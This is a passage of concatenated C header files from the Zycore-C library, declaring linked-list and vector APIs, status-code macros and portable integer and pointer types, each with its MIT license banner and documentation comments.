#endif // ZYAN_NO_LIBC
/**
* Initializes the given `ZyanList` instance and sets a custom `allocator`.
*
* @param list A pointer to the `ZyanList` instance.
* @param element_size The size of a single element in bytes.
* @param destructor A destructor callback that is invoked every time an item is deleted, or
* `ZYAN_NULL` if not needed.
* @param allocator A pointer to a `ZyanAllocator` instance.
*
* @return A zyan status code.
*
* Finalization with `ZyanListDestroy` is required for all instances created by this function.
*/
ZYCORE_EXPORT ZyanStatus ZyanListInitEx(ZyanList* list, ZyanUSize element_size,
ZyanMemberProcedure destructor, ZyanAllocator* allocator);
/**
* Initializes the given `ZyanList` instance and configures it to use a custom user
* defined buffer with a fixed size.
*
* @param list A pointer to the `ZyanList` instance.
* @param element_size The size of a single element in bytes.
* @param destructor A destructor callback that is invoked every time an item is deleted, or
* `ZYAN_NULL` if not needed.
* @param buffer A pointer to the buffer that is used as storage for the elements.
* @param capacity The maximum capacity (number of bytes) of the buffer including the
* space required for the list-nodes.
*
* @return A zyan status code.
*
* The buffer capacity required to store `n` elements of type `T` is be calculated by:
* `size = n * sizeof(ZyanListNode) + n * sizeof(T)`
*
* Finalization is not required for instances created by this function.
*/
ZYCORE_EXPORT ZyanStatus ZyanListInitCustomBuffer(ZyanList* list, ZyanUSize element_size,
ZyanMemberProcedure destructor, void* buffer, ZyanUSize capacity);
/**
* Destroys the given `ZyanList` instance.
*
* @param list A pointer to the `ZyanList` instance.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListDestroy(ZyanList* list);
/* ---------------------------------------------------------------------------------------------- */
/* Duplication */
/* ---------------------------------------------------------------------------------------------- */
#ifndef ZYAN_NO_LIBC
/**
* Initializes a new `ZyanList` instance by duplicating an existing list.
*
* @param destination A pointer to the (uninitialized) destination `ZyanList` instance.
* @param source A pointer to the source list.
*
* @return A zyan status code.
*
* The memory for the list is dynamically allocated by the default allocator.
*
* Finalization with `ZyanListDestroy` is required for all instances created by this function.
*/
ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanListDuplicate(ZyanList* destination,
const ZyanList* source);
#endif // ZYAN_NO_LIBC
/**
* Initializes a new `ZyanList` instance by duplicating an existing list and sets a
* custom `allocator`.
*
* @param destination A pointer to the (uninitialized) destination `ZyanList` instance.
* @param source A pointer to the source list.
* @param allocator A pointer to a `ZyanAllocator` instance.
*
* @return A zyan status code.
* Finalization with `ZyanListDestroy` is required for all instances created by this function.
*/
ZYCORE_EXPORT ZyanStatus ZyanListDuplicateEx(ZyanList* destination, const ZyanList* source,
ZyanAllocator* allocator);
/**
* Initializes a new `ZyanList` instance by duplicating an existing list and
* configures it to use a custom user defined buffer with a fixed size.
*
* @param destination A pointer to the (uninitialized) destination `ZyanList` instance.
* @param source A pointer to the source list.
* @param buffer A pointer to the buffer that is used as storage for the elements.
* @param capacity The maximum capacity (number of bytes) of the buffer including the
* space required for the list-nodes.
* This function will fail, if the capacity of the buffer is not sufficient
* to store all elements of the source list.
*
* @return A zyan status code.
*
* The buffer capacity required to store `n` elements of type `T` is be calculated by:
* `size = n * sizeof(ZyanListNode) + n * sizeof(T)`
*
* Finalization is not required for instances created by this function.
*/
ZYCORE_EXPORT ZyanStatus ZyanListDuplicateCustomBuffer(ZyanList* destination,
const ZyanList* source, void* buffer, ZyanUSize capacity);
/* ---------------------------------------------------------------------------------------------- */
/* Item access */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns a pointer to the first `ZyanListNode` struct of the given list.
*
* @param list A pointer to the `ZyanList` instance.
* @param node Receives a pointer to the first `ZyanListNode` struct of the list.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListGetHeadNode(const ZyanList* list, const ZyanListNode** node);
/**
* Returns a pointer to the last `ZyanListNode` struct of the given list.
*
* @param list A pointer to the `ZyanList` instance.
* @param node Receives a pointer to the last `ZyanListNode` struct of the list.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListGetTailNode(const ZyanList* list, const ZyanListNode** node);
/**
* Receives a pointer to the previous `ZyanListNode` struct linked to the passed one.
*
* @param node Receives a pointer to the previous `ZyanListNode` struct linked to the passed
* one.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListGetPrevNode(const ZyanListNode** node);
/**
* Receives a pointer to the next `ZyanListNode` struct linked to the passed one.
*
* @param node Receives a pointer to the next `ZyanListNode` struct linked to the passed one.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListGetNextNode(const ZyanListNode** node);
/**
* Returns a constant pointer to the data of the given `node`.
*
* @param node A pointer to the `ZyanListNode` struct.
*
* @return A constant pointer to the the data of the given `node` or `ZYAN_NULL`, if an error
* occured.
*
* Take a look at `ZyanListGetNodeDataEx`, if you need a function that returns a zyan status code.
*/
ZYCORE_EXPORT const void* ZyanListGetNodeData(const ZyanListNode* node);
/**
* Returns a constant pointer to the data of the given `node`..
*
* @param node A pointer to the `ZyanListNode` struct.
* @param value Receives a constant pointer to the data of the given `node`.
*
* Take a look at `ZyanListGetNodeData`, if you need a function that directly returns a pointer.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListGetNodeDataEx(const ZyanListNode* node, const void** value);
/**
* Returns a mutable pointer to the data of the given `node`.
*
* @param node A pointer to the `ZyanListNode` struct.
*
* @return A mutable pointer to the the data of the given `node` or `ZYAN_NULL`, if an error
* occured.
*
* Take a look at `ZyanListGetPointerMutableEx` instead, if you need a function that returns a
* zyan status code.
*/
ZYCORE_EXPORT void* ZyanListGetNodeDataMutable(const ZyanListNode* node);
/**
* Returns a mutable pointer to the data of the given `node`..
*
* @param node A pointer to the `ZyanListNode` struct.
* @param value Receives a mutable pointer to the data of the given `node`.
*
* Take a look at `ZyanListGetNodeDataMutable`, if you need a function that directly returns a
* pointer.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListGetNodeDataMutableEx(const ZyanListNode* node, void** value);
/**
* Assigns a new data value to the given `node`.
*
* @param list A pointer to the `ZyanList` instance.
* @param node A pointer to the `ZyanListNode` struct.
* @param value The value to assign.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListSetNodeData(const ZyanList* list, const ZyanListNode* node,
const void* value);
/* ---------------------------------------------------------------------------------------------- */
/* Insertion */
/* ---------------------------------------------------------------------------------------------- */
/**
* Adds a new `item` to the end of the list.
*
* @param list A pointer to the `ZyanList` instance.
* @param item A pointer to the item to add.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListPushBack(ZyanList* list, const void* item);
/**
* Adds a new `item` to the beginning of the list.
*
* @param list A pointer to the `ZyanList` instance.
* @param item A pointer to the item to add.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListPushFront(ZyanList* list, const void* item);
/**
* Constructs an `item` in-place at the end of the list.
*
* @param list A pointer to the `ZyanList` instance.
* @param item Receives a pointer to the new item.
* @param constructor The constructor callback or `ZYAN_NULL`. The new item will be in
* undefined state, if no constructor was passed.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListEmplaceBack(ZyanList* list, void** item,
ZyanMemberFunction constructor);
/**
* Constructs an `item` in-place at the beginning of the list.
*
* @param list A pointer to the `ZyanList` instance.
* @param item Receives a pointer to the new item.
* @param constructor The constructor callback or `ZYAN_NULL`. The new item will be in
* undefined state, if no constructor was passed.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListEmplaceFront(ZyanList* list, void** item,
ZyanMemberFunction constructor);
/* ---------------------------------------------------------------------------------------------- */
/* Deletion */
/* ---------------------------------------------------------------------------------------------- */
/**
* Removes the last element of the list.
*
* @param list A pointer to the `ZyanList` instance.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListPopBack(ZyanList* list);
/**
* Removes the firstelement of the list.
*
* @param list A pointer to the `ZyanList` instance.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListPopFront(ZyanList* list);
/**
* Removes the given `node` from the list.
*
* @param list A pointer to the `ZyanList` instance.
* @param node A pointer to the `ZyanListNode` struct.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListRemove(ZyanList* list, const ZyanListNode* node);
/**
* Removes multiple nodes from the list.
*
* @param list A pointer to the `ZyanList` instance.
* @param first A pointer to the first node.
* @param last A pointer to the last node.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListRemoveRange(ZyanList* list, const ZyanListNode* first,
const ZyanListNode* last);
/**
* Erases all elements of the list.
*
* @param list A pointer to the `ZyanList` instance.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListClear(ZyanList* list);
/* ---------------------------------------------------------------------------------------------- */
/* Searching */
/* ---------------------------------------------------------------------------------------------- */
// TODO:
/* ---------------------------------------------------------------------------------------------- */
/* Memory management */
/* ---------------------------------------------------------------------------------------------- */
/**
* Resizes the given `ZyanList` instance.
*
* @param list A pointer to the `ZyanList` instance.
* @param size The new size of the list.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListResize(ZyanList* list, ZyanUSize size);
/**
* Resizes the given `ZyanList` instance.
*
* @param list A pointer to the `ZyanList` instance.
* @param size The new size of the list.
* @param initializer A pointer to a value to be used as initializer for new items.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListResizeEx(ZyanList* list, ZyanUSize size, const void* initializer);
/* ---------------------------------------------------------------------------------------------- */
/* Information */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the current size of the list.
*
* @param list A pointer to the `ZyanList` instance.
* @param size Receives the size of the list.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanListGetSize(const ZyanList* list, ZyanUSize* size);
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYCORE_VECTOR_H */

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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Defines some generic object-related datatypes.
*/
#ifndef ZYCORE_OBJECT_H
#define ZYCORE_OBJECT_H
#include <Zycore/Status.h>
#include <Zycore/Types.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/**
* Defines the `ZyanMemberProcedure` function prototype.
*
* @param object A pointer to the object.
*/
typedef void (*ZyanMemberProcedure)(void* object);
/**
* Defines the `ZyanConstMemberProcedure` function prototype.
*
* @param object A pointer to the object.
*/
typedef void (*ZyanConstMemberProcedure)(const void* object);
/**
* Defines the `ZyanMemberFunction` function prototype.
*
* @param object A pointer to the object.
*
* @return A zyan status code.
*/
typedef ZyanStatus (*ZyanMemberFunction)(void* object);
/**
* Defines the `ZyanConstMemberFunction` function prototype.
*
* @param object A pointer to the object.
*
* @return A zyan status code.
*/
typedef ZyanStatus (*ZyanConstMemberFunction)(const void* object);
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYCORE_OBJECT_H */

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/***************************************************************************************************
Zyan Core Library (Zyan-C)
Original Author : Florian Bernd, Joel Hoener
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Status code definitions and check macros.
*/
#ifndef ZYCORE_STATUS_H
#define ZYCORE_STATUS_H
#ifdef __cplusplus
extern "C" {
#endif
#include <Zycore/Types.h>
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/**
* Defines the `ZyanStatus` data type.
*/
typedef ZyanU32 ZyanStatus;
/* ============================================================================================== */
/* Macros */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Definition */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines a zyan status code.
*
* @param error `1`, if the status code signals an error or `0`, if not.
* @param module The module id.
* @param code The actual code.
*
* @return The zyan status code.
*/
#define ZYAN_MAKE_STATUS(error, module, code) \
(ZyanStatus)((((error) & 0x01u) << 31u) | (((module) & 0x7FFu) << 20u) | ((code) & 0xFFFFFu))
/* ---------------------------------------------------------------------------------------------- */
/* Checks */
/* ---------------------------------------------------------------------------------------------- */
/**
* Checks if a zyan operation was successful.
*
* @param status The zyan status-code to check.
*
* @return `ZYAN_TRUE`, if the operation succeeded or `ZYAN_FALSE`, if not.
*/
#define ZYAN_SUCCESS(status) \
(!((status) & 0x80000000u))
/**
* Checks if a zyan operation failed.
*
* @param status The zyan status-code to check.
*
* @return `ZYAN_TRUE`, if the operation failed or `ZYAN_FALSE`, if not.
*/
#define ZYAN_FAILED(status) \
((status) & 0x80000000u)
/**
* Checks if a zyan operation was successful and returns with the status-code, if not.
*
* @param status The zyan status-code to check.
*/
#define ZYAN_CHECK(status) \
do \
{ \
const ZyanStatus status_047620348 = (status); \
if (!ZYAN_SUCCESS(status_047620348)) \
{ \
return status_047620348; \
} \
} while (0)
/* ---------------------------------------------------------------------------------------------- */
/* Information */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the module id of a zyan status-code.
*
* @param status The zyan status-code.
*
* @return The module id of the zyan status-code.
*/
#define ZYAN_STATUS_MODULE(status) \
(((status) >> 20) & 0x7FFu)
/**
* Returns the code of a zyan status-code.
*
* @param status The zyan status-code.
*
* @return The code of the zyan status-code.
*/
#define ZYAN_STATUS_CODE(status) \
((status) & 0xFFFFFu)
/* ============================================================================================== */
/* Status codes */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Module IDs */
/* ---------------------------------------------------------------------------------------------- */
/**
* The zycore generic module id.
*/
#define ZYAN_MODULE_ZYCORE 0x001u
/**
* The zycore arg-parse submodule id.
*/
#define ZYAN_MODULE_ARGPARSE 0x003u
/**
* The base module id for user-defined status codes.
*/
#define ZYAN_MODULE_USER 0x3FFu
/* ---------------------------------------------------------------------------------------------- */
/* Status codes (general purpose) */
/* ---------------------------------------------------------------------------------------------- */
/**
* The operation completed successfully.
*/
#define ZYAN_STATUS_SUCCESS \
ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYCORE, 0x00u)
/**
* The operation failed with an generic error.
*/
#define ZYAN_STATUS_FAILED \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x01u)
/**
* The operation completed successfully and returned `ZYAN_TRUE`.
*/
#define ZYAN_STATUS_TRUE \
ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYCORE, 0x02u)
/**
* The operation completed successfully and returned `ZYAN_FALSE`.
*/
#define ZYAN_STATUS_FALSE \
ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYCORE, 0x03u)
/**
* An invalid argument was passed to a function.
*/
#define ZYAN_STATUS_INVALID_ARGUMENT \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x04u)
/**
* An attempt was made to perform an invalid operation.
*/
#define ZYAN_STATUS_INVALID_OPERATION \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x05u)
/**
* Insufficient privileges to perform the requested operation.
*/
#define ZYAN_STATUS_ACCESS_DENIED \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x06u)
/**
* The requested entity was not found.
*/
#define ZYAN_STATUS_NOT_FOUND \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x07u)
/**
* An index passed to a function was out of bounds.
*/
#define ZYAN_STATUS_OUT_OF_RANGE \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x08u)
/**
* A buffer passed to a function was too small to complete the requested operation.
*/
#define ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x09u)
/**
* Insufficient memory to perform the operation.
*/
#define ZYAN_STATUS_NOT_ENOUGH_MEMORY \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Au)
/**
* An unknown error occurred during a system function call.
*/
#define ZYAN_STATUS_BAD_SYSTEMCALL \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Bu)
/**
* The process ran out of resources while performing an operation.
*/
#define ZYAN_STATUS_OUT_OF_RESOURCES \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Cu)
/**
* A dependency library was not found or does have an unexpected version number or
* feature-set.
*/
#define ZYAN_STATUS_MISSING_DEPENDENCY \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Du)
/* ---------------------------------------------------------------------------------------------- */
/* Status codes (arg parse) */
/* ---------------------------------------------------------------------------------------------- */
/**
* Argument was not expected.
*/
#define ZYAN_STATUS_ARG_NOT_UNDERSTOOD \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x00u)
/**
* Too few arguments were provided.
*/
#define ZYAN_STATUS_TOO_FEW_ARGS \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x01u)
/**
* Too many arguments were provided.
*/
#define ZYAN_STATUS_TOO_MANY_ARGS \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x02u)
/**
* An argument that expected a value misses its value.
*/
#define ZYAN_STATUS_ARG_MISSES_VALUE \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x03u)
/**
* A required argument is missing.
*/
#define ZYAN_STATUS_REQUIRED_ARG_MISSING \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x04u)
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYCORE_STATUS_H */

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/***************************************************************************************************
Zyan Core Library (Zyan-C)
Original Author : Florian Bernd, Joel Hoener
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Includes and defines some default data types.
*/
#ifndef ZYCORE_TYPES_H
#define ZYCORE_TYPES_H
#include <Zycore/Defines.h>
/* ============================================================================================== */
/* Integer types */
/* ============================================================================================== */
#if defined(ZYAN_NO_LIBC) || \
(defined(ZYAN_MSVC) && defined(ZYAN_KERNEL)) // The WDK LibC lacks stdint.h.
// No LibC mode, use compiler built-in types / macros.
# if defined(ZYAN_MSVC) || defined(ZYAN_ICC)
typedef unsigned __int8 ZyanU8;
typedef unsigned __int16 ZyanU16;
typedef unsigned __int32 ZyanU32;
typedef unsigned __int64 ZyanU64;
typedef signed __int8 ZyanI8;
typedef signed __int16 ZyanI16;
typedef signed __int32 ZyanI32;
typedef signed __int64 ZyanI64;
# if _WIN64
typedef ZyanU64 ZyanUSize;
typedef ZyanI64 ZyanISize;
typedef ZyanU64 ZyanUPointer;
typedef ZyanI64 ZyanIPointer;
# else
typedef ZyanU32 ZyanUSize;
typedef ZyanI32 ZyanISize;
typedef ZyanU32 ZyanUPointer;
typedef ZyanI32 ZyanIPointer;
# endif
# elif defined(ZYAN_GNUC)
typedef __UINT8_TYPE__ ZyanU8;
typedef __UINT16_TYPE__ ZyanU16;
typedef __UINT32_TYPE__ ZyanU32;
typedef __UINT64_TYPE__ ZyanU64;
typedef __INT8_TYPE__ ZyanI8;
typedef __INT16_TYPE__ ZyanI16;
typedef __INT32_TYPE__ ZyanI32;
typedef __INT64_TYPE__ ZyanI64;
typedef __SIZE_TYPE__ ZyanUSize;
typedef __PTRDIFF_TYPE__ ZyanISize;
typedef __UINTPTR_TYPE__ ZyanUPointer;
typedef __INTPTR_TYPE__ ZyanIPointer;
# else
# error "Unsupported compiler for no-libc mode."
# endif
#else
// If is LibC present, we use stdint types.
# include <stdint.h>
# include <stddef.h>
typedef uint8_t ZyanU8;
typedef uint16_t ZyanU16;
typedef uint32_t ZyanU32;
typedef uint64_t ZyanU64;
typedef int8_t ZyanI8;
typedef int16_t ZyanI16;
typedef int32_t ZyanI32;
typedef int64_t ZyanI64;
typedef size_t ZyanUSize;
typedef ptrdiff_t ZyanISize;
typedef uintptr_t ZyanUPointer;
typedef intptr_t ZyanIPointer;
#endif
// Verify size assumptions.
ZYAN_STATIC_ASSERT(sizeof(ZyanU8 ) == 1 );
ZYAN_STATIC_ASSERT(sizeof(ZyanU16 ) == 2 );
ZYAN_STATIC_ASSERT(sizeof(ZyanU32 ) == 4 );
ZYAN_STATIC_ASSERT(sizeof(ZyanU64 ) == 8 );
ZYAN_STATIC_ASSERT(sizeof(ZyanI8 ) == 1 );
ZYAN_STATIC_ASSERT(sizeof(ZyanI16 ) == 2 );
ZYAN_STATIC_ASSERT(sizeof(ZyanI32 ) == 4 );
ZYAN_STATIC_ASSERT(sizeof(ZyanI64 ) == 8 );
ZYAN_STATIC_ASSERT(sizeof(ZyanUSize ) == sizeof(void*)); // TODO: This one is incorrect!
ZYAN_STATIC_ASSERT(sizeof(ZyanISize ) == sizeof(void*)); // TODO: This one is incorrect!
ZYAN_STATIC_ASSERT(sizeof(ZyanUPointer) == sizeof(void*));
ZYAN_STATIC_ASSERT(sizeof(ZyanIPointer) == sizeof(void*));
// Verify signedness assumptions (relies on size checks above).
ZYAN_STATIC_ASSERT((ZyanI8 )-1 >> 1 < (ZyanI8 )((ZyanU8 )-1 >> 1));
ZYAN_STATIC_ASSERT((ZyanI16)-1 >> 1 < (ZyanI16)((ZyanU16)-1 >> 1));
ZYAN_STATIC_ASSERT((ZyanI32)-1 >> 1 < (ZyanI32)((ZyanU32)-1 >> 1));
ZYAN_STATIC_ASSERT((ZyanI64)-1 >> 1 < (ZyanI64)((ZyanU64)-1 >> 1));
/* ============================================================================================== */
/* Pointer */
/* ============================================================================================== */
/**
* Defines the `ZyanVoidPointer` data-type.
*/
typedef char* ZyanVoidPointer;
/**
* Defines the `ZyanConstVoidPointer` data-type.
*/
typedef const void* ZyanConstVoidPointer;
#define ZYAN_NULL ((void*)0)
/* ============================================================================================== */
/* Logic types */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Boolean */
/* ---------------------------------------------------------------------------------------------- */
#define ZYAN_FALSE 0
#define ZYAN_TRUE 1
/**
* Defines the `ZyanBool` data-type.
*
* Represents a default boolean data-type where `0` is interpreted as `false` and all other values
* as `true`.
*/
typedef ZyanU8 ZyanBool;
/* ---------------------------------------------------------------------------------------------- */
/* Ternary */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZyanTernary` data-type.
*
* The `ZyanTernary` is a balanced ternary type that uses three truth values indicating `true`,
* `false` and an indeterminate third value.
*/
typedef ZyanI8 ZyanTernary;
#define ZYAN_TERNARY_FALSE (-1)
#define ZYAN_TERNARY_UNKNOWN 0x00
#define ZYAN_TERNARY_TRUE 0x01
/* ============================================================================================== */
/* String types */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* C-style strings */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZyanCharPointer` data-type.
*
* This type is most often used to represent null-terminated strings aka. C-style strings.
*/
typedef char* ZyanCharPointer;
/**
* Defines the `ZyanConstCharPointer` data-type.
*
* This type is most often used to represent null-terminated strings aka. C-style strings.
*/
typedef const char* ZyanConstCharPointer;
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#endif /* ZYCORE_TYPES_H */

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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Implements the vector container class.
*/
#ifndef ZYCORE_VECTOR_H
#define ZYCORE_VECTOR_H
#include <ZycoreExportConfig.h>
#include <Zycore/Allocator.h>
#include <Zycore/Comparison.h>
#include <Zycore/Object.h>
#include <Zycore/Status.h>
#include <Zycore/Types.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Constants */
/* ============================================================================================== */
/**
* The initial minimum capacity (number of elements) for all dynamically allocated vector
* instances.
*/
#define ZYAN_VECTOR_MIN_CAPACITY 1
/**
* The default growth factor for all vector instances.
*/
#define ZYAN_VECTOR_DEFAULT_GROWTH_FACTOR 2.00f
/**
* The default shrink threshold for all vector instances.
*/
#define ZYAN_VECTOR_DEFAULT_SHRINK_THRESHOLD 0.25f
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/**
* Defines the `ZyanVector` struct.
*
* All fields in this struct should be considered as "private". Any changes may lead to unexpected
* behavior.
*/
typedef struct ZyanVector_
{
/**
* The memory allocator.
*/
ZyanAllocator* allocator;
/**
* The growth factor.
*/
float growth_factor;
/**
* The shrink threshold.
*/
float shrink_threshold;
/**
* The current number of elements in the vector.
*/
ZyanUSize size;
/**
* The maximum capacity (number of elements).
*/
ZyanUSize capacity;
/**
* The size of a single element in bytes.
*/
ZyanUSize element_size;
/**
* The element destructor callback.
*/
ZyanMemberProcedure destructor;
/**
* The data pointer.
*/
void* data;
} ZyanVector;
/* ============================================================================================== */
/* Macros */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* General */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines an uninitialized `ZyanVector` instance.
*/
#define ZYAN_VECTOR_INITIALIZER \
{ \
/* allocator */ ZYAN_NULL, \
/* growth_factor */ 0.0f, \
/* shrink_threshold */ 0.0f, \
/* size */ 0, \
/* capacity */ 0, \
/* element_size */ 0, \
/* destructor */ ZYAN_NULL, \
/* data */ ZYAN_NULL \
}
/* ---------------------------------------------------------------------------------------------- */
/* Helper macros */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the value of the element at the given `index`.
*
* @param type The desired value type.
* @param vector A pointer to the `ZyanVector` instance.
* @param index The element index.
*
* @result The value of the desired element in the vector.
*
* Note that this function is unsafe and might dereference a null-pointer.
*/
#ifdef __cplusplus
#define ZYAN_VECTOR_GET(type, vector, index) \
(*reinterpret_cast<const type*>(ZyanVectorGet(vector, index)))
